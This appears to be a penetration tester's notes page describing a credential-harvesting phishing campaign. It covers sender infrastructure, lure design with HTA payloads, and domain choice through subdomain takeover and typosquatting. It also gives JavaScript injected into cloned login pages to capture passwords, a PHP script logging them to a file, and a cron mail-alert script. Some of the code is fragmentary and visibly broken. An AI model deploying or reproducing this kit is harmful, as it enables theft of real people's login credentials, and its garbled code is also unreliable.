Credential Harvest

Important Notes

  • Perform OSINT to identify target MX. Use the same infrastructure to send email.

    • Eg: Office365 Business Essentials

  • Never directly send attachments or links to payload within mail.

  • Instead link to a WordPress blog post(based on pre-text), containing link to HTA as well as instructions to open the malicious attachment.

  • Use stageless payload. (Staged DLLs may get caught by IDS/IPS)

  • Test sending emails with non-existent emails against the domain to analyze headers.

  • Ideal domain reputation categories: Medical, Finance, .education domains.

Choosing a Domain Name

  • Subdomain takeover

    Companies often setup CNAME records to point a subdomain to another domain. Often used with Cloud services

    Eg: The marketing dept. runs a promotion on and points this subdomain to another website the marketing team created on AWS.

    If the company lets the "other" domain expire, but keeps their subdomain CNAME record pointed to the expired domain, attackers can purchase that "other" domain and leverage it for credential harvesting.

    Tools to identify:

    • Identify subdomains (Sublist3r, Amass, subfinder)

    • Feed output to takeover, tko-subs

  • Open-redirect vulnerabilities

  • Typosquatting: NameChk

  • Adding "mail", "vpn", "email". eg: fortynorthsecurityemail

  • Change TLD( .net, .org, .dev - for dev pre-texts)

    • .education(for policy pretexts) - Symantec immediately categorizes as education!

  • Blueteam hunts for typosquatted domains:

    • Zerofox

    • Mark Monitor

Website Cloning

SingleFile (Browser extension)

  • Downloads all dependencies to a single file.

  • Does not preserve directory structure.

  • By default, creates a comment in the downloaded page, which needs to be removed.

  • Add </body></html> at the end of downloaded HTML page.

  • May need to delete the first 2 lines(encoded) below <html> for JS to work.

Capturing Credentials

1 ] Select the form within the cloned page that you want to capture information from.

Search HTML source for <form> related to logging in. Note down the formID, username, password field IDs. If form ID does not exist create a generic one like 'loginForm'

2 ] Insert JS to log credentials → Forward POST request to the actual server

Downside of forwarding the response is in case victim enters incorrect credentials on the first attempt, they are redirected to the failed login response on the actual webpage. Alternatively you can purposefully display an incorrect credentials error for every first attempt and then forward credentials.

    function logItNow(callback) {
	console.log("in here");
    var http = new XMLHttpRequest();
    var url = '/path/to/php-code.php';
    var params = 'username=' + document.getElementById("<Insert-username-id>").value + '&password=' + document.getElementById("<Insert-pass-ID>>").value;'POST', url, true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    setTimeout(function() {
    }, 1200);
    function submitItNow() {
        function beforeSubmit() {
        return false;

3 ] Modify the HTML <form> to call the JS first.

You will typically find the following two submissions:

  • <form method post id=loginForm onsubmit="return beforeSubmit();">

  • <span id=submitButton role=button onclick="return beforeSubmit();">Sign In</span>

In case the <form submit is not coded as a button type, but instead as a <id> or <span>,

Remove the onsubmit="..." from the <form> tag and instead add onclick="return beforeSubmit();" inside the <span>

4 ] Create Server-Side PHP to collect creds

    if(isset($_POST['username']) && isset($_POST['password'])) {
        $data = $_POST['username'] . ':' . $_POST['password'] . "\\r\\n";
        echo $data;
        $ret = file_put_contents('/var/www/html/log/data.txt', $data, FILE_APPEND | LOCK_EX);
        if($ret === false) {
            die('There was an error writing this file');
        else {
            echo "$ret bytes written to file";
    else {
        die('No POST data to process');

5 ] Copy your HTML page to /var/www/html directory

  • Create necessary subfolders and set permissions

  • Make the subfolders based on the original domain.

  • This will ensure links look legitimate. Alternatively Apache rules can be set as well./

chmod 0666 data.txt

6 ] Set server-permissions to protect logged credentials

  • Protecting your data.txt

nano /etc/apache2/sites-available/000-default.conf 

7 ] Create a cronjob to email you when new credentials are captured.

  • Use SendGrid Mail API


#Location of logged creds file
file = /var/www/html/log/data.txt

#Path to logged creds previous md5sum
fingerprintfile = /tmp/data.txt.md5

#Create md5sum from the current version of creds file
filemd5 = `md5sum $file | cut -d " " -f1`

#SendGrid Email API
FROM_NAME = "Phishing Assessments"
SUBJECT = "Phish Update: New Creds Available"
bodyHTML = "<p> New credentials harvested on the campaign. \\
Log into the server to view the results.</p>"
maildata = '{"personilzations": [{"to": [{"email": "'${EMAIL_TO}'"}]}],
"from": {"emal": "'${FROM_EMAIL}'","name" "'${FROM_NAME}'",
"subject": "'${SUBJECT}'","content": [""type": "text/html", "value": "'${bodyHTML'"}]}'

if [ -f $fingerprintfile ]
		oldmd5 = `cat $fingerprintfile`

		#New vs Old md5sum comparison
		if ["$oldmd5" = "$filemd5" ];then
			curl -s --user 'api:YOUR_API_KEY' \\
			<> \\
			-F from='Excited User <mailgun@YOUR_DOMAIN_NAME>' \\
			-F \\
			-F subject='Hello' \\
			-F text='Testing some Mailgun awesomeness!'

#Write new md5sum to file
echo $filemd5 > $fingerprintfile
#Opens crontab editor
crontab -e

8 ] Start the Apache service.

Last updated